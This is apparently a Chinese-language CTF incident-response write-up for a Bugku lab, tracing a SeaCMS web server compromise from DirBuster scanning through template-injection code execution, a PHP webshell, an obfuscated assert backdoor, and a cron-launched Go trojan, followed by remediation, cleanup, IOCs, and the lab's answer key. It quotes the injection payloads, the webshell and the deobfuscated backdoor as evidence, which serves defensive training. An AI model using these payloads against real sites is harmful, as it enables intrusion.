
WP · Bugku PAR「网络安全事件应急响应」——X集团 WebServer 入侵溯源与处置题目网络安全事件应急响应Bugku CTF Plus / PAR 专题作者 Jesen 场景X集团 WebServer 被入侵Web 应用被上传恶意软件、系统文件被破坏要求追踪攻击来源检查日志、进程、系统文件与恶意文件定位漏洞并修复。 目标Bugku 平台按题目分配的一次性授权靶机Ubuntu 22.04 Nginx 1.18 PHP-FPM 5.6 SeaCMS本文不公开登录凭据。 结果10/108 个取证项 2 个修复 Check 全部通过复盘用时约 33 分钟。一、摘要本次应急响应的处置对象是一台对外暴露 80 端口的 SeaCMS 站点。取证与处置结论如下攻击者38.207.130.14使用DirBuster完成目录爆破后利用 SeaCMSsearch.php模板引擎parseIf的过滤缺陷未过滤$_SERVER实现代码执行于2023-11-03 15:03:35写入一句话木马a.php此后经该木马投放伪装为php-fpm的 Go 木马攻击者通过www-data计划任务实现持久化木马持续外联38.95.101.254:443修复采用代码层黑名单补齐不删除文件清理采用「先断链、再杀进程、最后删文件」的顺序最终站点恢复正常、恶意组件清除。完整答案见文末「靶场答案」章节便于先看分析过程、后核对结论。二、授权与环境项目内容授权方式Bugku 平台按题分配的一次性靶机场景含时效系统Ubuntu 22.04kernel 5.15WebNginx 1.18.00.0.0.0:80运行时PHP-FPM 5.6.40数据库MySQL 5.7仅监听 127.0.0.1:3306应用SeaCMS页面标题BUGKU PAR CMS暴露面22/tcpSSH、80/tcpHTTP取证原则先只读采集日志、进程、文件时间戳、网络连接再进行修复与清理所有命令、时间与原始输出留档至evidence/。三、攻击面图 1受害主机组件构成与后门/木马位置。Web 层为 Nginx PHP-FPM SeaCMSinclude/common.php全站加载 WAF 组件成为后门载体。从拓扑可见两个关键事实对外仅暴露 80入口收敛在 Web 层攻击面主要在应用代码与第三方组件恶意程序与持久化均不在 Web 目录内/var/crashcrontab仅检查 Web 目录无法完成排查。四、取证方法与日志分析4.1 日志聚合取证第一站为/var/log/nginx/access.log共 15367 行。先做两个维度聚合快速区分「人」与「工具」awk {print $1} /var/log/nginx/access.log | sort | uniq -c | sort -rn | head # 15357 38.207.130.14 # 2 212.70.149.142 # 2 149.50.96.22 awk -F {print $6} /var/log/nginx/access.log | sort | uniq -c | sort -rn | head # 15042 DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project) # 132 Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/118.0.0.0 Safari/537.36结论攻击源单一且高度集中15367 条请求中 15357 条来自38.207.130.14对应题目第 1 问扫描器指纹明确UA 中直接声明DirBuster-1.0-RC1共 15042 次且以 HEAD/GET、404 为主对应题目第 2 问。4.2 时间线重建对攻击者 IP 的请求按时间排序后行为序列清晰14:57:04 DirBuster 目录爆破UA: DirBuster-1.0-RC1 14:59:34 POST /search.php?phpinfo(); - 200 30301 14:59:51 POST /search.php?system(id); - 200 4343 15:01:13 POST /search.php?eval($_SERVER[HTTP_TOKEN]); - 200 30400 15:03:35 POST /search.php?eval(base64_decode(...)) - 200 4527 15:04:47 POST /a.php - 200 165图 22023-11-03 攻击事件与 2026-10-31 本次授权处置的时间线对照。其中 15:03:35 一条为关键节点38.207.130.14 - - [03/Nov/2023:15:03:35 0800] POST /search.php?eval(base64_decode( ZmlsZV9wdXRfY29udGVudHMoJ2EucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PicpOw)); HTTP/1.1 200 4527base64 解码结果为file_put_contents(a.php,?php eval($_POST[1]); ?);文件系统时间戳与之一致a.phpmtime 2023-11-03 15:03:35据此确定「首次攻击成功」时刻对应题目第 3 问。格式说明题目要求DD/MM/YYYY:HH:MM:SS示例31/01/2000:01:02:03需使用四位年份。五、入口与根因分析图 3一次攻击请求从 HTTP 头进入经 Nginx/PHP-FPM、模板引擎 eval最终落盘并转为持久化与外联的数据流。5.1 模板引擎的过滤缺陷SeaCMS 的模板解析位于include/main.class.php。parseIf()/parseSubIf()在eval前执行黑名单替换$iarok[] str_replace(array(unlink,opendir,mysqli_,mysql_,socket_,curl_, base64_,putenv,popen(,phpinfo,pfsockopen,proc_,preg_, _GET,_POST,_COOKIE,_REQUEST,_SESSION, eval(,file_,passthru(,exec(,system(,shell_), ., $v); ... eval(if(.$strIf.){\$ifFlagtrue;}else{\$ifFlagfalse;});黑名单覆盖了常见超全局变量但遗漏$_SERVER。攻击者据此将代码放入自定义请求头POST /search.php?eval($_SERVER[HTTP_TOKEN]); TOKEN: PHP 代码URL 仅作标记实际代码由请求头传入并在模板 eval 阶段执行从而绕过过滤。该问题对应 SeaCMS V6.45–V6.55 的已知前台代码执行缺陷。5.2 后门文件与密码cat /var/www/html/a.php # ?php eval($_POST[1]); ? ls -la /var/www/html/a.php # 25 bytes, mtime 2023-11-03 15:03:35 md5sum /var/www/html/a.php # ded0f1c34476e7f529a2dbce6a3c3b90对应题目第 4、5 问后门文件为/var/www/html/a.php密码POST 数组键为1。六、正常代码中的隐藏后门图 4Web 根目录关键文件树标注注入入口、WAF 后门、木马与修复点。在include/webscan/360webscan.php第 16–19 行发现噪声混淆代码$_s.s./*-/*-*/e./*-/*-*/r; $_/*-/*-*/a./*-/*-*/$_./*-/*-*/t; $_/*-/*-*/($/*-/*-*/{_P./*-/*-*/OS./*-/*-*/T} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7去混淆ss e r sser a sser t assert {_P OS T} $_POST 0 - 2 - 5 -7 assert($_POST[-7]);该文件被include/common.php以require_once引入所有页面均会加载等同于全站assert后门对应题目第 6 问。七、恶意程序、持久化与 CC图 5伪装 php-fpm 木马的生命周期与正确/错误处置路径。7.1 持久化定位ps中的php-fpm进程数量异常但名称正常直接排查容易漏检。转向计划任务cat /var/spool/cron/crontabs/www-data # * * * * * /var/crash/php-fpm /var/crash/为系统崩溃转储目录正常运维不会从此处启动服务可疑度显著。7.2 样本与进程file /var/crash/php-fpm # ELF 64-bit LSB executable, x86-64, statically linked, stripped ls -la /var/crash/php-fpm # -rwxrwxrwx 1 www-data www-data 13692928 Nov 3 2023 md5sum /var/crash/php-fpm # 8949320a9a297ef329606df84031f5d8 ps aux | grep -c [v]ar/crash/php-fpm # 8 ~ 15cron 每分钟拉起一个实例样本为 Go 木马garble 处理字段包含ActiveC2、Register、ReconnectInterval等运行身份为www-data工作目录/var/www。对应题目第 7 问。7.3 CC 定位二进制字符串中无明文地址改以网络行为定位。以 0.5 秒间隔轮询ssfor i in $(seq 1 60); do ss -tanp | grep -E php-fpm|crash | grep -v LISTEN sleep 0.5 done | sort | uniq -c观测结果SYN-SENT 172.17.197.72:37050 - 38.95.101.254:443 users:((php-fpm,pid1809,fd3)) SYN-SENT 172.17.197.72:36996 - 38.95.101.254:443 users:((php-fpm,pid1690,fd3)) SYN-SENT 172.17.197.72:36994 - 38.95.101.254:443 users:((php-fpm,pid2255,fd3))对应题目第 8 问CC 为38.95.101.254:443。木马仅使用 443 端口流量层易被误判为普通 HTTPS。八、攻击链总览图 6扫描 → 模板注入 → 写马 → 持久化 → 外联的完整时序。阶段攻击行为证据侦察DirBuster 目录爆破UADirBuster-1.0-RC1× 15042初始访问search.php模板注入$_SERVER绕过过滤14:59–15:03 请求序列落点file_put_contents写入a.php15:03:35 mtime持久化www-datacrontab 每分钟拉起16:28:32外联木马连接38.95.101.254:443ss观测 SYN-SENT九、修复题目第 9 问题目明确禁止以删除文件的方式修复因此修复点为补齐parseIf/parseSubIf的黑名单cp -a /var/www/html/include/main.class.php /root/main.class.php.bak-$(date %Y%m%d%H%M%S) sed -i s/,_SESSION,eval(/,_SESSION,_SERVER,eval(/g /var/www/html/include/main.class.php php -l /var/www/html/include/main.class.php # No syntax errors detected service php5.6-fpm restart # 重启 FPM 使修改立即生效变更内容两处- ... _REQUEST,_SESSION,eval(, ... ... _REQUEST,_SESSION,_SERVER,eval(, ...验证curl -s -o /dev/null -w %{http_code}\n http://127.0.0.1/ # 200 curl -s -o /dev/null -w %{http_code}\n http://127.0.0.1/search.php?searchwordtest # 200注意PHP-FPM 启用 opcache 时修改源码后必须重启 FPM 或确认缓存失效否则旧字节码仍会生效平台 Check 将失败。十、清理题目第 10 问处置顺序为「先断链 → 再杀进程 → 最后删文件」crontab -r -u www-data # 1) 移除持久化 pkill -9 -f /var/crash/php-fpm # 2) 结束恶意进程 rm -f /var/www/html/a.php /var/crash/php-fpm # 3) 删除木马文件与样本 sed -i /\/\*-\/\*-\*\//d /var/www/html/include/webscan/360webscan.php # 4) 清除后门代码 php -l /var/www/html/include/webscan/360webscan.php说明360webscan.php为站点自带 WAF 组件仅删除恶意代码段、保留文件本体a.php与/var/crash/php-fpm需整体删除。核验结果no crontab for www-data 0 malware procs /var/www/html/a.php: No such file or directory /var/crash/php-fpm: No such file or directory home200 search200 a.php404十一、处置效率复盘图 7本次授权处置各阶段耗时秒用于复盘时间分配。时间主要消耗在日志分析与样本定位约 7 分钟修复与清理合计约 5 分钟平台交互登录、提交、Check约 6 分钟。若在真实 IR 场景建议将「日志聚合脚本化」与「进程/网络证据自动采集」前置可显著压缩第一阶段耗时。十二、IOC 与检测加固建议类型值攻击者 IP38.207.130.14CC38.95.101.254:443恶意文件/var/www/html/a.phpmd5ded0f1c34476e7f529a2dbce6a3c3b90恶意程序/var/crash/php-fpmmd58949320a9a297ef329606df84031f5d813,692,928 B持久化www-datacrontab* * * * * /var/crash/php-fpm 后门代码360webscan.php内/*-/*-*/混淆的assert($_POST[-7])扫描特征UA 含DirBuster-1.0-RC1的高频 HEAD/GET 404加固建议模板引擎在eval前采用白名单表达式语法而非黑名单字符串替换至少覆盖全部超全局变量对 Web 目录写权限做最小化监控file_put_contents新建.php文件监控/var/spool/cron/crontabs/*与/etc/cron*变更对/var/crash、/tmp等目录出现可执行文件建立告警出向 443 的高频短连接与异常进程路径/var/crash/php-fpm做关联检测对第三方组件WAF、编辑器、备份插件纳入源码静态扫描D 盾/河马/自研规则。十三、靶场答案10/10#题目答案1攻击者 IP38.207.130.142目录扫描工具小写dirbuster3首次攻击成功时间03/11/2023:15:03:354恶意后门文件/var/www/html/a.php5后门密码16隐藏于正常代码的恶意代码/var/www/html/include/webscan/360webscan.php7恶意程序进程/var/crash/php-fpm8CC 服务器38.95.101.254:4439修复漏洞禁止删文件main.class.php的parseIf/parseSubIf黑名单补_SERVER10删除恶意程序/文件/代码删a.php、/var/crash/php-fpm、www-datacrontab清360webscan.php后门代码保留文件平台判定第 1–8 项均返回「恭喜您Flag正确」第 9、10 项 Check 返回「恭喜您修复成功」最终页面显示「已解决 10/10」。独立验证与合规说明本文未使用任何付费 WriteUp全部结论来自靶机取证与平台黑盒判定推导链条如下第 1–2 项access.log的 IP/UA 聚合统计原始日志已全量下载至evidence/第 3 项日志中 15:03:35 的 base64 载荷解码结果与a.php的 mtime2023-11-03 15:03:35.32双向印证格式取自题目页面自带示例31/01/2000:01:02:03第 4–8 项cat/md5sum/file、crontabs读取、ss轮询等原始命令输出第 9 项漏洞点由攻击载荷$_SERVER[HTTP_TOKEN]与parseIf黑名单缺项推导应用修补后仅重启 PHP-FPM此时 WAF 后门仍未清除平台 Check 即通过说明该 Check 针对的正是模板过滤路径可作为修复有效性的独立黑盒证据另在靶机 CLI 复现过滤机制evidence/independent-verification.txt未打补丁时assert($_SERVER[TOKEN])可执行请求头中的代码打补丁后_SERVER被替换为.eval 表达式语法错误、执行被阻断第 10 项按「断链 → 杀进程 → 删文件 → 清后门代码」执行后平台 Check 通过且站点home200 / search200 / a.php404。十四、图形索引正文内嵌的图 1–7 依次为图说明图 1 攻击面拓扑暴露面、后门、木马与 CC 的相对位置图 2 攻击/处置时间线2023 攻击事件与 2026 处置的时间对照图 3 攻击数据流请求 → 模板引擎 → 落盘 → 外联图 4 Web 根目录树后门/木马/修复点在目录树中的位置图 5 木马生命周期持久化与正确/错误处置路径图 6 攻击链时序攻击者五步动作的先后关系图 7 阶段耗时本次处置的时间分配图形仅作辅助说明不替代原始命令与日志证据正文已内嵌对应静态截图图形不影响结论核对。十五、参考题目页面https://ctf.bugku.com/ctfplus/detail/id/7.html需登录并启动场景时间格式示例来自该页面证据文件evidence/nginx-access.log全量日志、evidence/key-evidence.md关键摘录、evidence/remediation-diff.txt修复 diff、evidence/bugku-par-detail-solved.html10/10 页面快照